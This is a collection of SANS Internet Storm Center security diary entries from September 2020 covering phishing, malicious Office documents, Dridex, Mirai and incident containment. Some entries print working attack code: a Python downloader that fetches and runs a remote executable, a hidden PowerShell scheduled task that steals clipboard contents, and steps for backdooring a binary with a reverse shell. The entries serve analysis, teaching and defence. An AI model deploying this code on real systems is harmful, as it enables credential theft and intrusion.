ISC Stormcast For Tuesday, September 22nd 2020 https://isc.sans.edu/podcastdetail.html?id=7176, (Tue, Sep 22nd)
At the Internet Storm Center, we often receive examples of interesting phishing e-mails from our readers. Of course, this is not the only source of interesting malicious messages in our inboxes – sometimes the phishing authors “cut out the middleman” and send their creations directly to us. Last week, this was the case with a slightly unusual (and slightly broken) phishing, which tries to use legitimate pages overlaid with a fake login prompt.
We were not the first ones to receive a similar message, however as our example was slightly different to the one recorded before and the servers, which the attackers used, were still active at the time of writing, I thought this campaign might deserve a second look.
The message itself was a fairly generic phishing, using the commonly seen lure of the type “you have quarantined messages, review them now or they will be deleted”.
The only thing of note in the message was the link, which the victim was supposed to open. It pointed to the following, slightly broken URL.http[:]//'.$domin.'@antiochspore[.]com[.]email@example.comfirstname.lastname@example.org&aGFuZGxlcnNAc2Fucy5lZHU=
It seems that the correct value for the $domin variable was not included in the link, which was supposed to start with “sans.edu”, probably so it would look more legitimate. The link contains three parameters, all of which hold the e-mail address of the recipient – one in plaintext, one in Base64 encoded form and one, where the address is set as value for a parameter named “email”. The latter parameter is the only one which is used by the phishing website for personalization of the content and the inclusion of the other two appears to be completely useless – they may be omitted form the link with no impact on its functionality.
After the URL is opened, the victim is supposed to be redirected from antiochspore[.]com[.]sg to en[.]garden-max[.]eu, where they should see a legitimate page, loaded (in an iframe) from the domain to which the address in the “email” parameter belongs, overlaid with a fake login prompt (see the first picture). This technique, though not new, is imaginative and might lead to convincingly looking results in some cases. In others however, it fails quite spectacularly. Most sites which offer web-based access to e-mail (among others) actively block attempts to be loaded in iframes using the X-Frame-Options HTTP header. If the address in the “email” parameter belongs to such a site, the attempt to load the page in an iframe ends with either only the overlay with login prompt being shown, or – depending on the browser used – results in an error message being displayed under the prompt.
It is worth mentioning that even in cases when the page is displayed correctly, the resulting effect might not always be convincing. For some reason, the overlay has a fixed width set to 1366 pixels.
This means that on larger screens, parts of the underlying page are not covered by it, which looks suspicious to say the least.
Although the technique of overlaying legitimate pages with a fake login prompts is not uninteresting and could potentially be effective against users of certain services, due to use of mechanisms which prevent its effective employment on many modern websites, it hardly presents a mainstream threat.
In case of this campaign, this is compounded by the incorrectly created link with unused parameters and the limited overlay used to cover the legitimate page. This would seem to indicate that whoever is behind this campaign either just used a phishing kit and deployed it with “out of the box” configuration or that they just didn’t spend much time testing their creation.
In any case, although the technique doesn’t pose too large a threat when it comes to real world phishing, it might not be a bad choice for use in a security awareness exercise/phishing tests…
Indicators of Compromise (IoCs)
ISC Stormcast For Monday, September 21st 2020 https://isc.sans.edu/podcastdetail.html?id=7174, (Mon, Sep 21st)
Over the past week, I have noticed several phishing emails linked to Salesforce asking to confirm the recipient’s email address.
The body of the email is quite simple. Reviewing the email View Message URL by hovering over the URL or changing email to text mode and comparing it against the correct Salesforce website URL, it clearly shows the client is getting phished.
The next thing on the verification list for this email is the SSL certificate of the site; it was created yesterday (18 Sep 2020) and this email was received today (see sample header). The certificate is authenticated by ZeroSSL which is considered an alternative to Let's Encrypt where you can also create for free a certificate valid for 90 day.
ZeroSSL Certificate Information
The root domain associated with login.salesforce.com-secur-login-portal.qualitytags[.]com and www[.] qualitytags[.]com are both resolving to 126.96.36.199 but www[.] qualitytags[.]com is using a Let's Encrypt certificate setup on the 25 Aug 2020 good for 90 days.
Let's Encrypt Certificate Information
These few simple steps can be used to verify the legitimacy of a website by examining the certificate information, its URL and manually do a quick search to confirm the website URL contained in the email is the same as the true website. The From: email address from the header (info@saggioventures[.]com) doesn't match the domain name which would be another clue that something is suspicious. If unsure, it is a good idea to report it to the security team for analysis.
A few days ago, Didier wrote an interesting diary about embedded objects into an Office document. I had a discussion about an interesting OLE file that I found. Because it used the same technique, I let Didier publish his diary first. Now, let's have a look at the document.
It's an OLE file that contains an embedded object:$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py oleObject1.bin 1: 76 '\x01CompObj' 2: O 471 '\x01Ole10Native' 3: 6 '\x03ObjInfo' $ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py oleObject1.bin -s 2 -d ?pJIkdw.pyC:\Users\CNIyi\Desktop\pJIkdw.py7C:\Users\CNIyi\AppData\Local\Temp\pJIkdw (2).pyr import socket import tempfile import os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.2.100", 8080)) buf = "" while True: data = s.recv(1024) if data: buf += data else: break s.close temp = tempfile.gettempdir() + "\\" + "JcNrGlx.exe" f = open(temp, "wb") f.write(buf) f.close f = None os.system(temp)
The code is easy to understand: It connects to 192.168.2.100:8000, fetches a malicious PE file, dumps it on disk, and executes it. Note the private IP address used (RFC1918). It should be a test file (or from a red-team exercise?). The file hash is 40ae709cb1d6335c3a41863d2dca21bfa7bd493ebb3d7ddd72da4e09b09b2988 with a VT score of 5/60. I searched via VT for more information about this file and found the document where it was coming from.
It's a Word document (9f40fd5596a5d9f195017a5cae09799af8755f1436b8b9edbed768ccaa5dba67) with a VT score of 8/63. The file contains indeed our original OLE file as reported by oledump.py:$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py malicious.docx A: word/vbaProject.bin A1: 348 'PROJECT' A2: 71 'PROJECTwm' A3: M 1327 'VBA/NewMacros' A4: m 924 'VBA/ThisDocument' A5: 2649 'VBA/_VBA_PROJECT' A6: 1082 'VBA/__SRP_0' A7: 104 'VBA/__SRP_1' A8: 84 'VBA/__SRP_2' A9: 107 'VBA/__SRP_3' A10: 570 'VBA/dir' B: word/embeddings/oleObject1.bin B1: 76 '\x01CompObj' B2: O 471 '\x01Ole10Native' B3: 6 '\x03ObjInfo'
The macro in stream 3 is very simple:$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite oledump.py malicious.docx -s 3 -v Attribute VB_Name = "NewMacros" Sub AutoOpen() Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoOpen" ' ' AutoOpen Macro ' ' ActiveDocument.Shapes("Object 2").Select Selection.ShapeRange(1).OLEFormat.DoVerb VerbIndex:=wdOLEVerbPrimary End Sub
The method (OLEFormat.DoVerb) requests an OLE object to perform the verb passed as argment. 'wdOLEVerbPrimary' means to perform the verb that is invoked when the user double-clicks the object. The code will be executed only if Python is available on the targeted host.
The Word document seems corrupted and doesn't open properly in my sandbox. But looking at the files inside the zip archive, you discover that the OLE file is indeed embedded:<Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="embeddings/oleObject1.bin"/>
And:<o:OLEObject Type="Embed" ProgID="Package" ShapeID="_x0000_s1026" DrawAspect="Content" ObjectID="_1400592552" r:id="rId7"/>
Yesterday, I found new occurrences of the same OLE file but trying to connect to other IP addresses:
Interestingly, the last IP address (the routable one) belongs to uscourts.gov (United States Courts)! The purpose of the file is still unclear but, being based on a Python payload, I presume the victim is targeted. Or, as I already did in the past, I spotted a red-team exercise preparation?
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
ISC Stormcast For Friday, September 18th 2020 https://isc.sans.edu/podcastdetail.html?id=7172, (Fri, Sep 18th)
When a host is compromised/infected on your network, an important step in the Incident Handling process is the “containment” to prevent further infections. To place the device into a restricted environment is definitively better than powering off the system and, probably, lose some pieces of evidence.
Endpoint protection solutions are the "in" thing for a while. Instead of using standard AV tools, those solutions implement more control and try to block attackers directly. One of the features they implement is a containment solution to prevent a compromised host to communicate over the network, except with the endpoint management console. An endpoint solution can be expensive if you have a lot of hosts to protect and… it’s (again) a new agent to deploy on them.
I’m a big fan of OSSEC and I already wrote a few diaries about it. Today, I’ll demonstrate how you can implement the function described above without an expensive solution. OSSEC has a feature called ‘Active-Response’ that helps to execute scripts on agents in case of specific alerts or… on demand!
I wrote a Windows command line script that temporarily replaces the existing local firewall rules by a very restricted new set:
- Communication with the OSSEC server is still allowed
- An IP address is allowed on all ports TCP/UDP
- All remaining traffic is blocked
This allows a security team to temporarily isolate a suspicious computer from the network and to start some investigations by allowing a SIFT Workstation to connect to the host.
To configure this, in your ossec.conf file, create the new active-response setup:<command> <name>contain-host</name> <executable>contain-me.cmd</executable> <expect>srcip</expect> <timeout_allowed>no</timeout_allowed> </command>
Note: It’s important to not configure any timeout to prevent the host to be “unconfined” automatically.
Then, create the active-response action:<active-response> <command>contain-host</command> <location>local</location> <level>10</level> <rules_id>99999999</rules_id> </active-response>
If you want to automatically contain a host, you may create rules: use 'rules_group' or 'rules_id'. My rule_id ‘99999999’ will never trigger because it looks for something that will never happen! This way, you can prevent an automatic containment of a host.
Finally, deploy the script in the right directory (%OSSECPATH%\active-response\bin) on all your OSSEC monitored hosts and you're good to go!
How to contain a host, manually? OSSEC has a command to achieve this:[root@ossec bin]# ./agent_control -u 011 -f contain-host0 -b 192.168.254.212
Where '011' is the agent ID you'd like to contain and 'contain-host0' is the defined active-response action. In the case above, 192.168.254.212 is the IP address of the incident handler that will investigate the suspicious host.
Here is a copy of the script::: Script to block all traffic except interesting hosts: :: - The OSSEC server :: - Incident Handling workstation (ex: a SANS SIFT) :: Parameters: :: - %1 = ADD|DELETE :: - %2 = User (unused) :: - %3 = IP address to whitelist @echo off :: Generate timestamp variables for /F "TOKENS=1* DELIMS= " %%A IN ('DATE/T') DO SET DAT=%%A %%B for /F "TOKENS=1-3 DELIMS=:" %%A IN ("%TIME%") DO SET TIM=%%A:%%B:%%C :: Extract the OSSEC server IP address from config setlocal EnableDelayedExpansion (for /F "delims=" %%a in ('findstr /R "<server-ip>.*</server-ip>$" "%OSSECPATH%ossec.conf"') do ( set "line=%%a" set "line=!line:*<server-ip>=!" for /F "delims=<" %%b in ("!line!") do set OSSECIP=%%b )) if /I "%OSSECIP%"=="" goto ERROR2 :: Check for required arguments if /I "%1"=="" goto ERROR if /I "%2"=="" goto ERROR if /I "%3"=="" goto ERROR :: Check for a valid IP echo "%3" | %WINDIR%\system32\findstr.exe /R "\." >nul || goto ERROR if /I "%1"=="add" goto ADD if /I "%1"=="delete" goto DEL :ERROR echo Invalid argument(s). echo Usage: contain-me.cmd ^(ADD^|DELETE^) user IP_Address echo Example: contain-me.cmd ADD - 188.8.131.52 exit /B 1 :ERROR2 echo Cannot find OSSEC server IP address in ossec.conf exit /B 1 :ADD :: Save the existing firewall rules del %OSSECPATH%fw-backup.wfw" >nul %WINDIR%\system32\netsh advfirewall export "%OSSECPATH%fw-backup.wfw" %WINDIR%\system32\NETSH ADVFIREWALL FIREWALL SET RULE all NEW enable=no :: Allow the OSSEC server IP %WINDIR%\system32\netsh advfirewall firewall add rule name="Allow ICMP in" dir=in protocol=icmpv4 action=allow %WINDIR%\system32\netsh advfirewall firewall add rule name="Allow ICMP out" dir=out protocol=icmpv4 action=allow %WINDIR%\system32\netsh advfirewall firewall add rule name="Allow OSSEC Server in" dir=in localport=1514 remoteip=%OSSECIP%/32 protocol=udp action=allow %WINDIR%\system32\netsh advfirewall firewall add rule name="Allow OSSEC Server out" dir=out localport=1514 remoteip=%OSSECIP%/32 protocol=udp action=allow %WINDIR%\system32\netsh advfirewall firewall add rule name="Allow OSSEC Server in/tcp" dir=in localport=any remoteip=%3/32 protocol=tcp action=allow %WINDIR%\system32\netsh advfirewall firewall add rule name="Allow OSSEC Server in/udp" dir=in localport=any remoteip=%3/32 protocol=udp action=allow %WINDIR%\system32\netsh advfirewall firewall add rule name="Allow OSSEC Server out/tcp" dir=out localport=any remoteip=%3/32 protocol=tcp action=allow %WINDIR%\system32\netsh advfirewall firewall add rule name="Allow OSSEC Server out/udp" dir=out localport=any remoteip=%3/32 protocol=udp action=allow %WINDIR%\system32\netsh advfirewall set allprofiles firewallpolicy blockinbound,blockoutbound echo %DAT%%TIM% %~dp0%0 %1 %2 %3 >> "%OSSECPATH%active-response\active-responses.log" goto EXIT :DEL :: Restore the saved firewall rules %WINDIR%\system32\netsh advfirewall import "%OSSECPATH%fw-backup.wfw" echo %DAT%%TIM% %~dp0%0 %1 %2 %3 >> "%OSSECPATH%active-response\active-responses.log" exit /B 0:
It will automatically extract the OSSEC server IP address from the config file and allow it. It will also backup your existing firewall rules and restore them.
There is no way to automatically restore the connectivity via OSSEC (when it's not automatic). Once you completed the investigations on the host, just restore the previous firewall settings:C:\Program Files (x86)\ossec-agent\active-response\bin>set OSSECPATH=c:\Program Files (x86)\ossec-agent\ C:\Program Files (x86)\ossec-agent\active-response\bin>contain-me.cmd delete - 192.168.254.212
Or you can write a second active-response script to "uncontain" the host...
I implemented this script for Windows endpoints but it's very easy to implement the same on other operating systems.
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
ISC Stormcast For Thursday, September 17th 2020 https://isc.sans.edu/podcastdetail.html?id=7170, (Thu, Sep 17th)
Do Vulnerabilities Ever Get Old? Recent "Mirai" Variant Scanning for 20 Year Old Amanda Version?, (Wed, Sep 16th)
We always say how network security is changing every day. Take a long lunch, and you may miss a critical exploit. But sometimes, time appears to stand still. We just passed 1.6 Billion seconds in the Unix Epoch. Back when the Unix timestamp still had 9 digits, in the late 90s also known as "pre Y2K", one of the servers you may have used for backups was Amanda (Advanced Maryland Automatic Network Disk Archiver). Still active and alive today, back then Amanda V 2.3 was current.
Amanda typically listens on port %%port:10080%%, and while port 10080 is scanned, we see not a lot of scans for that port. Shodan also comes up with "not much" for port 10080.
So I was a bit surprised to see these strings in a recent Mirai type bot I captured:
Amanda 2.3 REQ HANDLE 000-65637373 SEQ 954568800
This particular string is used by Nessus since July 14th 2000 (maybe longer). The version "2.3" is a bit misleading here. This is a request that is typically sent to the Amanda client (not server). Nessus uses this request to detect the client's version. So this may as well look for more recent Amanda client versions.
So is it looking for a 20-year-old version? Possibly not. Why is it looking for backup clients? There are many possibilities:
- Data exfiltration: Unusual for Mirai bots, but this version appears to be "work in progress". Someone may be trying to use this to scan for internal Amanda clients once a network is breached.
- Ransomware: Ransomware doesn't like backups. Again not typical for Mirai, but a simple "delete all files, including backups" is certainly in scope and some Mirai variants like "Bricker Bot" did show destructive behavior.
I am still trying to trigger the Amanda scan behavior. So far, I had no luck with it and all the bot did so far is scan for port 23 (this is why I call it "Mirai"). It also connects to a C2 server at %%ip:184.108.40.206%%. This IP address is hardcoded and no DNS lookup is performed.
ISC Stormcast For Wednesday, September 16th 2020 https://isc.sans.edu/podcastdetail.html?id=7168, (Wed, Sep 16th)
ISC Stormcast For Tuesday, September 15th 2020 https://isc.sans.edu/podcastdetail.html?id=7166, (Tue, Sep 15th)
Today's diary is another traffic analysis quiz (here's the previous one) where you try to identify the malware based on a pcap of traffic from an infected Windows host. Download the pcap for today's quiz from this page, which also has a JPG image of the alerts list. Don't open or review the alerts file yet, because it gives away the answer.
As before, I'll provide the requirements for this quiz and give some background on the infection.
This type of analysis requires Wireshark. Wireshark is my tool of choice to review packet captures (pcaps) of infection activity. However, default settings for Wireshark are not optimized for web-based malware traffic. That's why I encourage people to customize Wireshark after installing it. To help, I've written a series of tutorials. The ones most helpful for this quiz are:
- Customizing Wireshark - Changing Your Column Display
- Using Wireshark - Display Filter Expressions
- Using Wireshark - Exporting Objects from a Pcap
Another requirement: use a non-Windows environment like BSD, Linux, or macOS. Why? Because this pcap contains HTTP traffic sending Windows-based malware. If you're using a Windows host to review the pcap, your antivirus (or Windows Defender) may delete the pcap or malware. Worst case? If you extract the malware from the pcap and accidentally run it, you might infect your Windows computer.
As always, beware, because there's actual malware involved here.
Background on the infection
This infection was caused by a link from an email that returned a Word document. Unfortunately, I do not have a copy of the email. The downloaded document has macros designed to infect a vulnerable Windows host.
Here is a link to any.run's sandbox analysis of a document retrieved from the initial URL. Normally, I state how this type of malware is ineffective against an up-to-date Windows 10 host running the latest version of Microsoft Office with default security settings.
However, I was able to download the Word document from this link without any warnings from Windows, and I merely had to click twice: once to get past Protected View, and one more time to enable macros. Tamper Protection and all other security measures were in place, but my Windows 10 lab host still became infected.
This is a good example of how malware authors can evade security measures baked into Windows 10 and Microsoft applications. Of course, this type of email has to get through the spam and virus filters before this could happen... I mean, what are the odds?
Apparently, if malware distributors send out enough spam, some of it's bound to reach somebody, somewhere. This malware is updated often enough, that someone might receive it, click their way through some warnings, and infect their computer.
I guess that's why we still have a thriving market for security vendors and endpoint protection.
Reviewing the Pcap
I went over some of the basics last time, so I won't do that here today. The alerts should let you know what type of malware is involved, and if more than one type of malware is involved.
As usual, this quiz might not be hard for an experienced malware analyst, but some of you might find this interesting. The alerts really give this one away.
Again, a pcap of the traffic and a jpeg image showing associated alerts can be found here.
brad [at] malware-traffic-analysis.net
More than 10 years ago, a first RFC was published describing the ".well-known" directory for web servers. The idea is pretty simple: Provide a standard location for files that are mostly intended for signaling and automatic retrieval. Before the introduction of .well-known, these files often ended up litering the document root, like for example robots.txt being probably the most popular example. Currently, .well-known is defined by RFC8615 [https://tools.ietf.org/html/rfc8615] .
Over the years, a number of locations were added to .well-known. You can find the authoritative list at IANA [https://www.iana.org/assignments/well-known-uris/well-known-uris.xhtml] and I would like to highlight a few of them here:
This is likely the most "famous" .well-known location. This directory is used by clients speaking the "ACME" protocol to leave challenges as they are retrieving TLS certificates from services like Let's Encrypt. Your ACME client (e.g. certbot or acme.sh) will drop files in this location. You will not manage these files yourself typically.
Oddly not listed at the IANA site, but already implemented in Safari and some large web sites. This URL will redirect to a page that will allow users to change their password. The feature, at least as implemented in Safari, does not appear terribly useful. Only if you change your password using Safari's built in password manager ("Keychain"), will you have the option to be redirected to the "change password" page. But this feature is particularly meant for password managers. I played a bit with it, and find it doesn't work well as you typically need to log in first before changing your password.
- dnt / dnt-policy.txt
A place to leave a privacy polity (DNT = Do Not Track). There are fairly detailed standards describing how to implemented various policies. There are machine and human readable versions of the policy. This feature was a bit designed around the European GDPR rules.
This file describes the STARTTLS policy for a particular domain. A DNS record will alert a mail server that supports the feature of the policy. The policy will describe which mail servers are covered by it, and what encryption to expect. This feature is supposed to reduce the risk of MitM attacks being used to strip the STARTTLS headers.
A security contact for a particular domain (this is currently a draft, and the URL is not yet listed with IANA). We talked about this in a recent diary. The main goal is to make it easier for researchers to notify a website's owner of vulnerabilities.
Lists SSH server fingerprints. This is a bit interesting but also dangerous. You could end up publishing a great resource for attackers by giving them nice fodder for recognizance. But it is also an ongoing issue that it is difficult to distribute public SSH keys for servers, and they are often not verified correctly by users.
So what's your favorite ".well-known" feature that may not be so well known?
When doing pentestings, the establishment of backdoors is vital to be able to carry out lateral movements in the network or to reach the stage of action on objectives. This is usually accomplished by inviting someone to click on a commonly used executable on the computer using social engineering techniques.
In this diary we will work on the Backdoor Factory tool, which can be found at https://github.com/secretsquirrel/the-backdoor-factory. We will use two machines: A linux ubuntu 18.04 and a Windows 10 2004. Kali Linux 2020.3 default installation does not work with this tool as it uses python3 libraries.
Backdoor-factory will be installed on Ubuntu 18.04. Github repository will be cloned and then capstone and pefile will be installed:
Cygwin was used to create the PE binary. Simple hello world application compiled with gcc:
Next, PE binary is uploaded to the linux VM and backdoor-factory will assess it and then show the supported payloads:
Linux IP address will be used to create a reverse tcp shell payload:
Now the tool will be used to create a reverse TCP shell to ip address 192.168.127.141 and TCP port 10000 using the testapplication binary:
The tool ask to pick the cave where the backdoor will be placed. Cave 4 will be used:
Backdoored binary is now available to be transfered to the Windows VM.
Next, a netcat listener is setup to TCP port 10000 in the linux VM:
Patched binary is transferred to the Windows machine and executed:
Now we can see how the reverse shell got connected to the netcat listener:
ISC Stormcast For Monday, September 14th 2020 https://isc.sans.edu/podcastdetail.html?id=7164, (Mon, Sep 14th)
A reader asked about another malicious file, thinking it is an intentionally corrupt ZIP file.
Once you have listed the PKZIP records with -f L, you will see 2 end-of-central-directory records (PK0506 end), indexed with 1 and 2. You can use this index to select and analyze the found ZIP file, like this:
This is indeed an OLE file:
It is a spreadsheet (stream Workbook) with VBA code:
But it also contains an embedded object: remark indicator O for stream 4.
My tool oledump.py can handle embedded objects. Use option -I (info) to get more information:
It is a ZIP file: not only by the file extension .zip, but also by the first 4 bytes of the file: 504B0304
With option -e (extract), you can extract the embedded file to stdout:
This is the first ZIP file we looked at with zipdump.py.
It contains a 64-bit and a 32-bit DLL:
Recently I happened to notice that the Cisco AnyConnect VPN client clears the clipboard if you paste a password into it. (Note - if you know and can type any of your passwords in 2020, you should at least partially examine your life choices). Several password managers also do this "right thing" - retaining passwords in the clipboard is a great way for folks to accidentally paste that information into the worst possible place after login (like say into something that'll post that info into clear text log files), or in the worst case allows it to get stolen post-login.
This got me to thinking, why doesn't putty do this after password entry, or the Windows RDP client for that matter? Or a myriad of traditional and web apps that take userid/password input for access?
From an attacker's point of view, the clipboard really is simple to collect in Powershell:
> $clp = Get-Clipboard -Format text
This can be a valuable piece of information to collect in a penetration test, if you happen to have code execution in the user context. If you catch the right person, you are likely to collect the password for some other system - a router, switch or firewall, a hypervisor, or even a mainframe. Or even better, collecting credentials from "standalone" business systems like accounting or shop floor control systems are also pure gold. Pivoting from your existing access to other systems and privilege levels is the whole point of any internal security assessment / penetration test.
You can of course also collect any graphics or files that are in the clipboard, which can sometimes be just as useful.
If you don't have code execution, you can just ask the Chrome or Opera browser to give up your target's clipboard by tricking your target person to browse to a specific website - "ClipboardMe" is a decent tool to do this. The main down side is that this tool involves a third party site to collect this information. For some extra fun, this tool can also be used to modify your victim's clipboard. This this tool also records the IP addresses of your victim(s) - just keep in mind that if those folks are all in the same organization (and on premise), they'll likely all have the same public IP address. In the screenshot below you see me testing this tool using 3 different browser versions:
While you can technically also collect a remote station's clipboard using any of the various remote admin tools, in most cases this opens a new session. Since clipboards are tied to sessions, these methods will either collect null values or the clipboard of the station doing the remoting, so in most cases this is a dead end. If you can however get a scheduled task onto your target's machine, for instance, that can be made to run against your target user. If you can get them to run this short powershell script, a scheduled task will grab their clipboard every 10 minutes (or whatever interval you specify). It does "flash" on the screen, when it runs though - unfortunately if you run it in the background it's another session so doesn't work. (If anyone has a decent workaround for this, please drop it in our comment section?)
$argument = "-windowstyle hidden -noninteractive -command `"whoami | out-file -append c:\xfer\example.txt ; get-clipboard | out-file -append c:\xfer\example.txt `""
$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument $argument
$u = whoami ; $principal = New-ScheduledTaskPrincipal -UserID $u
$trigger = New-ScheduledTaskTrigger -Once -At 7am -RepetitionDuration (New-TimeSpan -Days 1) -RepetitionInterval (New-TimeSpan -Minutes 10)
$settings = New-ScheduledTaskSettingsSet -Hidden -AsJob -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
$task = New-ScheduledTask -Action $action -Principal $principal -Trigger $trigger
Register-ScheduledTask "StealClip" -InputObject $task -Force
The other caveat of course is that to do this you have to have that user (and likely the domain) compromised. Remember that this method is all about pivoting to that next (non AD) platform.
From a defensive point of view, the clipboard is also pretty easy to clear, both in PowerShell and otherwise:
From the basic command line you can use the "clip" command to clear the clipboard - any of these commands will work:
break | clip
type nul | clip
echo. > nul | clip
(echo anything to nul will work)
From Powershell it's not even convoluted, it's documented:
First, you can still use nul and the clipboard:
echo $null | clip.exe
Yes, this works in powershell for Linux as well, as long as xclip is in the path you can use
echo $null | xclip
In Windows you can use .NET - you'll see a noticeable pause when this one executes:
Add-type -AssemblyName System.Windows.Forms
Or, you can just use the native Powershell command - by far the preferred approach these days:
This last one also works in Powershell for Linux, again, you need xclip in your path (normally it is)
As expected, this one is documented at https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-clipboard?view=powershell-7
So if it's that easy to clear, why don't common apps that accept passwords just do this?
While it's not well documented, Matt Graeber (Mattifestation) outlines various ETW (Event Tracer for Windows) providers for the clipboard here: https://gist.github.com/mattifestation/04e8299d8bc97ef825affe733310f7bd
Notably, a vendor could monitor for this one during password input, and clear the clipboard if a paste is detected (in other words, clear the clipboard if a password is pasted in, just after it's used. I'm assuming that this is how most password managers get the job done:
ETW Provider name: Microsoft.Windows.OLE.Clipboard
Provider guid: 3e0e3a92-b00b-4456-9dee-f40aba77f00e
Unfortunately, there isn't much documentation for this provider past Matt's "look what I found" listing. So do I have code for this? Nope, sorry I do not. However, if you've got any code that uses this provider, please post a link in our comment form, the more we "pile on" to this concept, the fewer excuses our various vendors have not to be responsibly clearing passwords out of clipboards (after they are used of course).
So stay tuned, if someone posts an ETW method to our comments everyone wins. If not, I'll keep poking at this, you might see a related story in the next couple of weeks.
In the meantime, if you've noticed any other apps that clear the clipboard (or don't clear the clipboard) at the right time, please also let us know in our comment form - this would be a good "list of things to fix"
rob <at> coherentsecurity.com
ISC Stormcast For Friday, September 11th 2020 https://isc.sans.edu/podcastdetail.html?id=7162, (Fri, Sep 11th)
ISC Stormcast For Thursday, September 10th 2020 https://isc.sans.edu/podcastdetail.html?id=7160, (Thu, Sep 10th)
For the past month or so, I hadn't had any luck finding active malspam campaigns pushing Dridex malware. That changed starting this week, and I've since found several examples. Today's diary reviews an infection from Wednesday September 9th, 2020.
The Word documents
While searching VirusTotal, I found three documents with the same template that generated the same type of traffic (read: SHA256 hash - name):
- fee5bb973112d58445d9e267e0ceea137d9cc1fb8a7140cf9a67472c9499a30f - Info-3948683568.doc
- 9b747e89874c0b080cf78ed61a1ccbd9c86045dc61b433116461e3e81eee1348 - Inform-34674869.doc'
- 27379612c139d3c4a0c6614ea51d49f2495213c867574354d7851a86fdec2428 - Rep-Sept2020.doc
My lab environment revealed these documents are designed to infect a vulnerable Windows host with Dridex.
Enabling macros caused Powershell to retrieve a DLL file from one of the following URLs over encrypted HTTPS traffic:hxxps://teworhfoundation[.]com/4jvmow.zip hxxps://teworhfoundation[.]com/zd0pcc.rar hxxps://thecandidtales[.]com/doakai.zip hxxps://safaktasarim[.]com/7zcsfo.txt hxxps://thecandidtales[.]com/wuom4a.rar
After the DLL was saved under the victim's profile, it was run using rundll32.exe. The DLL is an installer for Dridex, and it was run using the following command:"C:\Windows\system32\rundll32.exe" C:\Users\[username]\Mqfzqp8\Opzvzn2\Qzpic6r.dll 0
Dridex infection traffic
Dridex post-infection traffic is all HTTPS. In this case, we saw HTTPS traffic over the following IP addresses and ports:67.213.75[.]205 port 443 54.39.34[.]26 port 453
Most of the Dridex post-infection traffic I've seen uses IP addresses without domain names, and issuer data for the SSL/TLS certificates is somewhat unusual. Certificate issuer data for the Dridex post-infection traffic:CERTIFICATE ISSUER DATA FOR HTTPS TRAFFIC TO 67.213.75[.]205 OVER TCP PORT 443: id-at-countryName=HR id-at-localityName=Zagreb id-at-organizationName=Wageng Unltd. id-at-organizationalUnitName=obendmma id-at-commonName=Livedthtsthw.flights CERTIFICATE ISSUER DATA FOR HTTPS TRAFFIC TO 54.39.34[.]26 OVER TCP PORT 453: id-at-countryName=DE id-at-stateOrProvinceName=Sheso thanthefo id-at-localityName=Berlin id-at-organizationName=Thedelor Tbrra SICAV id-at-organizationalUnitName=5Coiesily Begtherdr istwarscon id-at-commonName=Bath7epran.toshiba
Dridex persistent on an infected Windows host
Dridex is made persistent on an infected Windows host using 3 methods simultaneously:
- Windows registry update
- Scheduled task
- Windows startup menu shortcut
Dridex uses copies of legitimate Windows system files (EXEs) to load and run malware. Dridex DLL files are named as DLLs that would normally be run by these copied system EXEs.
For this infection, all of the persistent Dridex DLL files were 64-bit DLL files.WINDOWS REGISTRY UPDATE: - Registry Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run - Value name: Vwqmkqmr - Value type: REG_SZ - Value data: C:\Users\[username]\AppData\Roaming\Thunderbird\Profiles\1ovarfyl.default-release\ ImapMail\.outlook.com\Uw0NWHoOi\DWWIN.EXE NOTE: DWWIN.EXE loads and runs a Dridex DLL file named VERSION.dll in the same directory.
Indicators of Compromise (IOCs)
Three examples of Microsoft Word documents with macros for Dridex:
- File size: 136,262 bytes
- File name: Info-3948683568.doc
- File size: 136,182 bytes
- File name: Inform-34674869.doc
- File size: 135,053 bytes
- File name: Rep-Sept2020.doc
Installer DLL for Dridex called by Word macro:
- File size: 331,776 bytes
- File location: hxxps://thecandidtales[.]com/doakai.zip
- File location: C:\Users\[username]\MqFZqp8\OpZVzn2\Qzpic6r.dll
- Run method: rundll32.exe [file name] 0
Dridex 64-bit DLL files persistent on the infected Windows host:
- File size: 1,580,032 bytes
- File location: C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\0pFtxbOGXwr\DUI70.dll
- Run method: Loaded and run by legitimate system file DmNotificationBroker.exe in the same directory
- Note: Made persistent through scheduled task
- File size: 1,325,056 bytes
- File location: C:\Users\[username]\AppData\Roaming\Mozilla\Extensions\r0F\MFC42u.dll
- Run method: Loaded and run by legitimate system file msinfo32.exe in the same directory
- Note: Made persistent through start menu shortcut
- File size: 1,297,920 bytes
- File location: C:\Users\[username]\AppData\Roaming\Thunderbird\Profiles\1ovarfyl.default-release\ImapMail\.outlook.com\Uw0NWHoOi\VERSION.dll
- Run method: Loaded and run by legitimate system file DWWIN.EXE in the same directory
- Note: Made persistent through Windows registry update
URLs from Word macro to retrieve Dridex DLL installer:
Certificate data for Dridex HTTPS traffic to 67.213.75[.]205 port 443:
- id-at-organizationName=Wageng Unltd.
Certificate data for Dridex HTTPS traffic to 54.39.34[.]26 port 453:
- id-at-stateOrProvinceName=Sheso thanthefo
- id-at-organizationName=Thedelor Tbrra SICAV
- id-at-organizationalUnitName=5Coiesily Begtherdr istwarscon
After a period of inactivity, malspam pushing Dridex malware is back, so this blog post reviewed traffic and malware from an infected Windows host. While not much has changed, it's always good to have a refresher.
As usual, up-to-date Windows hosts with the latest security patches and users who follow best security practices are not likely to get infected with this malware. However, I've seen so much come through in the past two or three days that even a small percentage of success will likely be profitable for the criminals behind it.
brad [at] malware-traffic-analysis.net